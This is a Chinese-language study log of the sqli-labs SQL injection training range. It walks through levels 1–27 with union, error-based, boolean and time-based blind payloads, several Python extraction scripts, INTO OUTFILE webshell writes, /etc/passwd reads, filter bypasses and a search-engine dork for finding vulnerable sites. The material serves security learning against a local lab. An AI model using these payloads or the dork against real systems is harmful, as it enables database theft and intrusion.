sqli-labs学习记录
有空就要学习
提示
学习过程阅读题目源码,方便理解漏洞的成因
# 环境搭建
使用docker部署,简单方便一些,即开即用
映射到主机8080端口
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8080:80 acgpiano/sqli-labs:latest
2
进入靶场首页,点击Setup/reset Database for labs
,初始化数据库
# 唠叨
看到前面几关前缀,GET-Error based
,都是基于报错注入的,这个比较好玩,经典的话通过引号闭合可以使sql语句报错
本身执行一个sql语句不会把错误信息返回前端,报错主要由于使用了函数mysql_error()
、mysqli_error()
,返回了mysql的错误信息
警告
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
一些站点甚至没有处理参数空值的情况,导致本身就已经闭合,例如
# 字符型
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'";
2
id为空时,sql语句变成了
select * from users where id = '';
# 数字型
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
2
id为空时,sql语句变成了
select * from users where id = ;
这样页面本身就可能存在报错,可以尝试谷歌语法,收集信息找到这类站点。看看得了,没有授权不要测别人网站
inurl:"?id=" intext:"You have an error in your SQL syntax" "公司"
# Less-1
get传参 ?id=1'
时页面报错,可以猜测后台sql语句类似
$id = $_GET['id'];
$sql = "select * from users where id = '$id'";
2
传进去的单引号闭合了原有sql语句,后面多出一个单引号报错,使用#
把后面注释掉后面多出的单引号就不会再报错,get传#
时使用url编码值%23
,所以传?id=1%23
时不会报错
有了sql注入点,尝试爆数据库信息,使用联合查询爆数据库信息时,要注意前后select的字段数相同,可以先使用order by
爆字段数
在3时不报错,4时报错,说明有3个字段
?id=1' order by 3%23
尝试联合查询,2、3是回显位
?id=0' union select 1,2,3%23
爆数据库名
?id=0'union select 1,2,group_concat(schema_name) from information_schema.schemata%23
爆表名
?id=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
爆列名
?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
爆数据
?id=0'union select 1,2,group_concat(username,password) from users%23
# Less-2
传入?id=1'
、?id=1"
时页面报错,猜测后台sql语句类似
$sql = "select * from users where id = $id";
后台需要整型参数id,传入字符型参数id时,sql语句多出了引号导致报错,这题就不再需要引号的闭合,直接拼接sql语句
?id=0 or 1=1%23
# Less-3
传入参数?id=1'
时,页面报错,传入参数?id=1
、?id=1"
时页面没有报错,猜测后台sql语句类似
$sql = "select * from users where id = '$id'";
传入参数?id=1'
时,sql语句变成了
select * from users where id = '1''
可以传?id=1'
,把原有的单引号以及后面内容注释掉,保证sql语句正确。后面正常拼接联合查询sql语句即可
?id=0' or 1=1%23
# Less-4
传入参数?id=1"
时,页面报错,传入参数?id=1
、?id=1'
时页面没有报错,猜测后台sql语句类似
$id = '"'.$_GET['id'].'"';
$sql = "select * from users where id = ($id)";
2
传入参数?id=1"
时,sql语句变成了
select * from users where id = ("1"")
所以页面报错,报错里的信息暴露了后台sql语句"1"")
,可以猜测使用的是($id)
警告
for the right syntax to use near '"1"")LIMIT 0,1' at line 1
可以传?id=1") or 1=1%23
,把原有的双引号、括号以及后面内容注释掉,保证sql语句正确。后面正常拼接联合查询sql语句即可
?id=0") or 1=1%23
经过php处理id后,id拼接成了"0") or 1=1%23"
,sql语句变成了
select * from users where id = ("0") or 1=1%23
接着就是正常爆库爆表操作
?id=0") or 1=1%23
# Less-5
像前面一样,通过传入?id=1'
、?id=1"
、?id=1'
等参数,在?id=1'
时页面报错right syntax to use near ''1'' LIMIT 0,1'
,猜测后台sql语句类似
$id = $_GET['id'];
$sql = "select * from users where id = '$id'";
2
# 布尔盲注
区别于前几题,这里没有回显位,只有两种结果You are in...
和无回显
写了一个布尔盲注脚本
这个利用了substr()
函数,通过回显是否包含You are in
,来判断爆破的每一位是否正确
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://192.168.6.246:8080/Less-5/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
id = "99'or substr((select group_concat(schema_name) from information_schema.schemata)," + str(i)+",1)='"+s+"'%23"
# 爆表
# id = "99'or substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+s+"'%23"
# 爆字段
# id = "99'or substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+s+"'%23"
tmp_url = url + "?id=" + id
resp = requests.get(tmp_url)
if "You are in" in resp.text:
i += 1
flag += s
# 最后一次成功拼接作为开始,判断超时
start = time.time()
print(f"[#]------{flag}")
break
else:
pass
end = time.time()
# 目标服务器性能可能存在差距,适当调整超时时间
try:
if end - start > 1.5:
if flag != "":
print("盲注结束,检查flag是否是预期结果!")
else:
print("检测到长时间没有再获取到响应,该脚本布尔盲注可能并不适配退出")
exit()
except NameError:
print("在第一轮循环中未找到合适的开始字符,检查环境是否适合布尔盲注或扩充flags变量(可能出现的字符")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
使用left()
、right()
函数实现,right()
函数按照left()
模板补充即可
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-5/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
# id = "99'or left((select group_concat(schema_name) from information_schema.schemata)," + str(i)+")='"+ flag + s+"'%23"
# 爆表
# id = "99'or left((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+")='"+ flag + s +"'%23"
# 爆字段
# id = "99'or left((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+")='"+ flag + s+"'%23"
# 测试right函数
# id = "99'or right((select group_concat(schema_name) from information_schema.schemata)," + str(i)+")='"+ s + flag +"'%23"
tmp_url = url + "?id=" + id
resp = requests.get(tmp_url)
if "You are in" in resp.text:
i += 1
flag += s
# 测试right函数
# flag = s + flag
# 最后一次成功拼接作为开始,判断超时
start = time.time()
print(f"[#]------{flag}")
break
else:
pass
end = time.time()
# 目标服务器性能可能存在差距,适当调整超时时间
try:
if end - start > 1.5:
if flag != "":
print("盲注结束,检查flag是否是预期结果!")
else:
print("检测到长时间没有再获取到响应,该脚本布尔盲注可能并不适配退出")
exit()
except NameError:
print("在第一轮循环中未找到合适的开始字符,检查环境是否适合布尔盲注或扩充flags变量(可能出现的字符")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
使用like
代替=
实现盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-5/"
i = 1
start = None # 初始化 start 变量
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
id = "99'or left((select group_concat(schema_name) from information_schema.schemata)," + str(i)+") like '"+ flag + s + "%25" +"'%23"
# 爆表
# id = "99'or left((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+")='"+ flag + s +"'%23"
# 爆字段
# id = "99'or left((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+")='"+ flag + s+"'%23"
tmp_url = url + "?id=" + id
resp = requests.get(tmp_url)
if "You are in" in resp.text:
i += 1
flag += s
# 最后一次成功拼接作为开始,判断超时
start = time.time()
print(f"[#]------{flag}")
break
else:
pass
end = time.time()
# 目标服务器性能可能存在差距,适当调整超时时间
try:
if (end-start)>1.5:
if flag != "":
print("盲注结束,检查flag是否是预期结果!")
else:
print("检测到长时间没有再获取到响应,该脚本布尔盲注可能并不适配退出")
exit()
except NameError:
print("在第一轮循环中未找到合适的开始字符,检查环境是否适合布尔盲注或扩充flags变量(可能出现的字符")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 报错注入
主播主播,你的布尔盲注确实很强,但还是太痴操作了,有没有更简单一点的?
有的兄弟,有的。既然页面在语法错误时会报错,那么还可以使用报错注入来回显结果
使用updatexml()
、extractvalue()
、floor()
等函数,可以回显错误信息,实现爆库爆表爆列爆数据
看一下这个函数用法
提示
报错注入为什么存在错误,还能返回部分语句的结果?
sql先检查是否存在语法错误,如果没有,先执行子查询,在进行updatexml函数的调用,最后因为updatexml函数的参数类型错误,导致抛出错误,在报错中,带出了子查询的结果
流程:
- 检查语法
- 执行子查询
- 执行updatexml函数
- updatexml函数参数类型错误,抛出错误
例如下面这句,不存在语法错误,执行database()
函数子查询select database()
,再执行concat()
函数,最后再拼接时,updatexml
函数使用了错误的参数类型,报错:
select updatexml(1,concat(0x7e,database(),0x7e),1)
爆库
?id=0' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
把database()
函数位置换成select子句,爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)%23
爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)%23
尝试使用extractvalue()
、floor()
函数
extractvalue()
函数和updatexml()
函数使用类似,参数个数不同
slect username,password from users where id = 1 and extractvalue(1,0x7e);
在这里,extractvalue()
函数第二个参数使用了错误的参数0x7e
,报错。可以只是concat()
函数,使用子查询获取想要的内容,拼接上0x7e
,把子查询结果带出来
爆库
?id=0' and extractvalue(1,concat(0x7e,database(),0x7e))%23
另外,XPATH syntax error
也算是updatexml
、extractvalue
因为XPATH报错的一个特征吧
# Less-6
和上一关less-5相同,换成了"
双引号类型
上面的盲注脚本和报错注入稍微修改还能用
# Less-7
# 读写文件
这题提示需要use outfile
,没有回显,要把数据写入到文件里,可以写入一个木马
我的题目环境是使用docker部署的,完整网络根路径我并不知道,但是可以知道现在遇到的题目都是在Less-n
目录下
回到前面几关,尝试验证路径
在Less-1
中,使用?id=0' union select 1,2,load_file('/etc/passwd')%23
读取/etc/passwd
,存在www-data
用户,用户目录/var/www/
,猜测网站更目录大概是/var/www/html/
尝试读取/var/www/html/Less-1/index.php
文件,成功读取到内容,可以验证根目录/var/www/html/
可以尝试在Less-7
题目页面写入木马
传入参数?id=1
、?id=1"
时页面正常,传入?id=1'
时报错,尝试传入?id=1'%23
注释掉后面内容时,页面仍然报错
测试可以发现,在传入
?id=1'))%23
时,页面正常,可以猜测后台sql语句类似
$id = $_GET['id'];
$sql = "select * from users where id = (('$id'))";
2
尝试写入木马,检查没有语法错误,页面提示You have an error in your SQL syntax
?id=0')) union select 1,2,'<?=phpinfo();?>' into outfile "/var/www/html/Less-7/abc.php"%23
回到Less-1
环境简单验证,在写入木马时,提示Can't create/write to file '/var/www/html/Less-7/abc.php' (Errcode: 13)
大佬提示错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹
/var/www/html/
目录没有写的权限,这里不能像其他writeup一样写木马了。尝试把数据库信息写入到/tmp
目录
```php
url/Less-7/?id=0')) union select 1,2,'fuck' into outfile "/tmp/fuck"%23
2
在Less-1
环境里读取,验证成功写入
# 解决权限问题
这个docker镜像作者可能没考虑到权限问题,可以进入容器给权限
docker exec -it sqli-labs /bin/sh
chmod 777 -R /var/www/html/
2
现在应该可以正常写入文件了
?id=0')) union select 1,2,'<?=phpinfo();?>' into outfile "/var/www/html/Less-7/abc.php"%23
# 布尔盲注
因为题目还是有两种响应,尝试布尔盲注
- true :
You are in...
- false :
You have an error in your SQL syntax
布尔盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-7/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
# id = "0')) or left((select group_concat(schema_name) from information_schema.schemata)," + str(i)+")='"+ flag + s+"'%23"
# 爆表
id = "0')) or left((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+")='"+ flag + s +"'%23"
# 爆字段
# id = "0')) or left((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+")='"+ flag + s+"'%23"
# 测试right函数
# id = "90')) or right((select group_concat(schema_name) from information_schema.schemata)," + str(i)+")='"+ s + flag +"'%23"
tmp_url = url + "?id=" + id
resp = requests.get(tmp_url)
if "You are in" in resp.text:
i += 1
flag += s
# 测试right函数
# flag = s + flag
# 最后一次成功拼接作为开始,判断超时
start = time.time()
print(f"[#]------{flag}")
break
else:
pass
end = time.time()
# 目标服务器性能可能存在差距,适当调整超时时间
try:
if end - start > 1.5:
if flag != "":
print("盲注结束,检查flag是否是预期结果!")
else:
print("检测到长时间没有再获取到响应,该脚本布尔盲注可能并不适配退出")
exit()
except NameError:
print("在第一轮循环中未找到合适的开始字符,检查环境是否适合布尔盲注或扩充flags变量(可能出现的字符")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 时间盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-7/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
# id = "0')) or if((substr((select group_concat(schema_name) from information_schema.schemata)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆表
# id = "0')) or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆字段
id = "0')) or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
tmp_url = url + "?id=" + id
start = time.time()
resp = requests.get(tmp_url)
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 5:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Less-8
# 布尔盲注
看源码里特别的一句,注释掉了mysql抛出错误的代码语句,这题不能再使用报错注入
//print_r(mysql_error());
通过传入参数?id=1' or 1=1%23
、?id=1" or 1=1%23
,在?id=1'or 1=1%23
时页面正常,还是单引号包裹的id
布尔盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-8/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
id = "0' or left((select group_concat(schema_name) from information_schema.schemata)," + str(i)+")='"+ flag + s+"'%23"
# 爆表
# id = "0' or left((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+")='"+ flag + s +"'%23"
# 爆字段
# id = "0' or left((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+")='"+ flag + s +"'%23"
tmp_url = url + "?id=" + id
resp = requests.get(tmp_url)
if "You are in" in resp.text:
flag += s
i += 1
# 最后一次成功拼接作为开始,判断超时
start = time.time()
print(f"[#]------{flag}")
break
else:
pass
end = time.time()
# 目标服务器性能可能存在差距,适当调整超时时间
try:
if end - start > 1.5:
if flag != "":
print("盲注结束,检查flag是否是预期结果!")
else:
print("检测到长时间没有再获取到响应,该脚本布尔盲注可能并不适配退出")
exit()
except NameError:
print("在第一轮循环中未找到合适的开始字符,检查环境是否适合布尔盲注或扩充flags变量(可能出现的字符")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 时间盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-8/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
# id = "0' or if((substr((select group_concat(schema_name) from information_schema.schemata)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆表
# id = "0' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆字段
id = "0' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
tmp_url = url + "?id=" + id
start = time.time()
resp = requests.get(tmp_url)
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Less-9
无论输入什么,页面只有You are in...........
,只能用时间盲注了
在传入?id=0' or if(1=1,sleep(5),sleep(5))
时,页面长时间加载,说明存在时间盲注
上题脚本,稍加修改还能用
# Less-10
基于时间盲注的双引号类型参数
上面时间盲注脚本还能梭哈
# Less-11
这里开始使用post参数,通过测试,可以猜测后台使用的单引号包裹的参数,在用户名或密码出都可以尝试使用万能密码
在后台,sql语句可能是这样的
$sql = "select * from users where username = '$username' and password = '$password'";
用户名和密码是and
连接的,拼接or以后,同时存在or
和and
,会怎么处理?and
的优先级更高,会先执行and
,再执行or
- 如果在用户名处做文章,可以把后面的and注释掉,不再考虑。我们拼接后得到的sql语句可能是这样的,不需要考虑用户名密码是什么
select * from users where username = 'admin' or 1=1 # and password = '123456';
- 如果从密码入手,可以尝试在密码处拼接
or 1=1
,这样密码永远为真,sql语句可能是这样的,即使用户名密码and
结果是false
,在or 1=1
的作用下,sql语句永远为真
select * from users where username = 'admin' and password = '123456' or 1=1;
这里回显用户名密码的逻辑有点怪,生产环境应该....应该用 盲注、写马☝🤓
# Less-12
用户名带"
双引号时,sql报错,爆出了一部分sql语句,可以看出是用("")
包裹的参数
猜测后台sql语句
$username = '"'.$_POST['username'].'"';
$password = '"'.$_POST['password'].'"';
$sql = "select * from users where username = ($username) and password = ($password)";
2
3
闭合双引号括号,题前结束sql语句,完成验证
select * from users where username = ("1") or 1=1#") and password = ("123456");
# Less-13
类似上一关,区别:使用1')#
闭合单引号、括号后没有回显了,这才像正常登录逻辑
时间盲注
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-13/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
data = {
"uname" : "1",
"passwd" : "1",
"submit" : "Submit"
}
# 爆库
# data['uname'] = "1') or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
# 爆表
data['uname'] = "1') or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
# 爆字段
# data['uname'] = "1') or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
start = time.time()
resp = requests.post(url,data=data)
# print(data['uname'])
# print(resp.text)
# exit()
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Less-14
在这里突然发现会报错,试试报错注入
updatexml
、extractvalue
函数都可以正常报错注入
uname=0' or extractvalue(1,concat(0x7e,database(),0x7e))#
mysql_error()
放出来了?那上面几题是不是也能报错注入?我去试试☝🤓
# Less-15
我测,这里什么提示、回显都没有,报错也没有。试试时间盲注
在传入这个payload时,页面长时间加载,说明存在时间盲注,语法也对上了
passwd=1&submit=Submit&uname=1' or if(1=1,sleep(5),sleep(5))#
我入
点击查看
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-15/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
data = {
"uname" : "1",
"passwd" : "1",
"submit" : "Submit"
}
# 爆库
# data['uname'] = "1' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
# 爆表
# data['uname'] = "1' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
# 爆字段
data['uname'] = "1' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
# 爆数据
# data['uname'] = "1' or if((substr((select group_concat(username,password) from users)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)#"
start = time.time()
resp = requests.post(url,data=data)
# print(data['uname'])
# print(resp.text)
# exit()
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Less-16
在尝试这个payload时,页面进入长时间加载状态,说明存在时间盲注
passwd=1&submit=Submit&uname=1") or if(1=1,sleep(5),sleep(5))#
# Less-17 update模块
这里,需要一个用户名和一个新密码,猜测后台sql语句类似
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "update users set password = '$passwd' where username = '$uname'";
2
3
传入单引号参数passwd
,页面报错
这里为什么用户名不能注入?翻看源码
好好好,这么玩
那就从参数passwd
入手,页面会报错,使用报错注入
passwd=1' or updatexml(1,concat(0x7e,user(),0x7e),1)#&submit=Submit&uname=0
# Less-18 HTTP Header
翻看源码学习一下,uname
、passwd
参数都做了检查,另外,使用insert
语句,把用户的ip
、user-agent
插入到一个security.uagents
表里
这里没有做过滤,直接把用户http报头字段插入表里
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
插入的语句一般是成功插入一条语句,没什么回显,继续往下读源码发现print_r(mysql_error());
,抛出错误,那么就可以利用报错注入
有个尿点,这里如果用户不存在,那也就不会进入保存用户的ip
、ua
阶段,也没办法利用报错注入
这里使用hackbar
演示,先提交一次用户名,密码。用户需要是存在的,使用admin
用户,密码随意
在hackbar获取数据包,修改User-Agent
字段,测试单引号,页面报错,尝试闭合语句
看到ua
字段后面爆出了ip
、uname
,以及一个右括号)
所以可以尝试闭合,注释掉后面原有内容
a',1,2)#
没有语法错误,页面正常,没有语法错误,可以尝试报错注入了
a',1,updatexml(1,concat(0x7e,user(),0x7e),1))#
# Less-19
尝试在referer
字段注入
在报错语句里可以看到192.168.6.148')
,说明referer
字段后面还有一个字段才进行闭合
尝试补充字段、闭合语句、注释后面
http://192.168.6.246:8080/Less-19/',1,updatexml(1,concat(0x7e,user(),0x7e),1))#
# Less-19
在尝试admin
用户登录后,加载数据包,尝试修改referer
、user-agent
、cookie
字段
在cookie
字段传入单引号时,页面报错'admin'' LIMIT 0,1
,多出一个单引号
闭合,在cookie
字段报错注入
uname=admin' or updatexml(1,concat(0x7e,user(),0x7e),1)#
# Less-20
在cookie里传入单引号,页面报错,可以看到爆出的后半句sql语句
'admin'' LIMIT 0,1
cookie里uname
字段使用不存在的用户名,可以利用联合查询,存在回显位,order by 4
可以测试出查询字段长度为3
uname=a' union select 11,22,33#
# Less-21
登录后,加载数据包cookie: uname=YWRtaW4%3D
后面看不出是什么数据,竟然是base64编码,解码后是admin
传入一个admin'
,base64编码后发包,页面报错
'admin'') LIMIT 0,1
闭合单引号、括号,使用联合查询,uname值进行base64编码
uname=a') union select 11,22,33#
尝试写入文件,这里php文件内容使用16进制编码
uname=a') union select 11,22,0x3c3f3d706870696e666f28293b3f3e into outfile '/var/www/html/Less-21/4.php'#
# Less-22
同上一关,单引号换为双引号类型了,没有括号包裹
uname=a" union select 11,22,0x3c3f3d706870696e666f28293b3f3e into outfile '/var/www/html/Less-22/1.php'#
# Less-23
一直绕过不去,看看源码,把原来用来注释掉后面内容的注释符给过滤掉了
现在也可以sql注入,payload最后留个单引号闭合原有的单引号就可以了
?id=a' or 1='1
这里不能使用order by测字段个数了
?id=0' union select 1,2,3,'4
套个子查询拿数据
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3
# Less-24
查看题目源码,注册功能上没有sql注入,即是有特殊字符,也会转义
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
2
3
4
在密码修改功能上也使用了转义,
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
2
3
4
5
可以通过注册一个admin'#
用户,虽然字符被转义了利用不了,但是可以在密码修改功能里,用户名没有使用转义,拼接进去时可以直接利用
思路:注册一个用户,用户名使用admin'#
,密码随意,在密码修改时,利用sql语句漏洞来修改用户admin
的密码
用户admin'#
在修改密码时,sql语句变成
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
通过修改用户admin'#
的密码,来修改用户admin
的密码
# Less-25
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
2
查看源码,题目过滤了or
、adn
,也可以通过测试的报错语句猜测过滤黑名单
- 传入
?id=1'
,报错:'1'' LIMIT 0,1
- 传入
?id=1'#
,不报错 - 传入
?id=1' or 1=1#
,报错:1=1#' LIMIT 0,1
后面的注释肯定是生效的,不会因为后面的语句报错
没有从1'
开始报错,说明1'
也成功闭合了
没有回显1'
后的or
,直接回显了1=1#
,说明or
被替换为空了
尝试双写,里一层外一层,在匹配到里面一层并替换为空时,外面一层or成为新的or,也可以适用到其他关键字被一次过滤时
oorr > or
selselectect > select # 在一个select里的任意位置再写一个select
2
这题可以直接联合查询
?id=0' union select 1,2,3%23
考察双写绕过
?id=0' oorr updatexml(1,concat(0x7e,user(),0x7e),1)%23
# Less-25a
整型注入,过滤了or
、and
测试发现单双引号不会报错,报错注入不可行,可以使用联合查询,测试过程
?id=0 union select 1,2,3#
题目名称提示使用or
、and
盲注,写个脚本试试
import requests
import string
import time
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-\{\}_'
flag = ""
url = "http://127.0.0.1:8080/Less-25a/"
i = 1
print("脚本正在运行.......")
while True:
for s in flags:
# 爆库
id = "0 oorr if((substr((select group_concat(schema_name) from infoorrmation_schema.schemata)," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆表
# id = "0 oorr if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
# 爆字段
# id = "0 oorr if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database())," + str(i)+",1)='"+ s +"'),sleep(0.1),0)%23"
tmp_url = url + "?id=" + id
start = time.time()
resp = requests.get(tmp_url)
end = time.time()
if end - start > 0.1:
flag += s
# 当盲注出正确字符时,才去盲注下一位(变量i的作用)
i += 1
print(f"[#]------result: {flag}")
break
elif end - start > 2:
print("跑了这么久,跑完了吗?跑完我给你停了🤓👍")
exit()
else:
pass
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Less-26
题目名称提示过滤了空格、注释、以及前面的or
、and
因为是get传参,还可以使用%09
、%0a
、%0b
、%0c
、%0d
、%a0
绕过
我测,通过报错发现这里的sql语句'1'' LIMIT 0,1
,是单引号包裹的id
发现这题可以用$0b
,%a0
替换空格
?id=0'union%0bselect%0b1,2,'3
爆表,注意单词information_schema
里有个or
,也要双写
?id=0'union%0bselect%0b1,(select%0bgroup_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()),'3
# Less-26a
相比上关,添加了()
包裹id
,因为不能使用注释符,所以需要考虑闭合后,后面的')
怎么处理
也好处理,可以select 1,2,('3')
的形式,闭合后面的')
,避免语法错误无法执行
?id=0')union%0bselect%0b1,(select%0bgroup_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()),('3
# Less-27
过滤语句,过滤空格、注释符、union、select等,把or、and放出来了
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
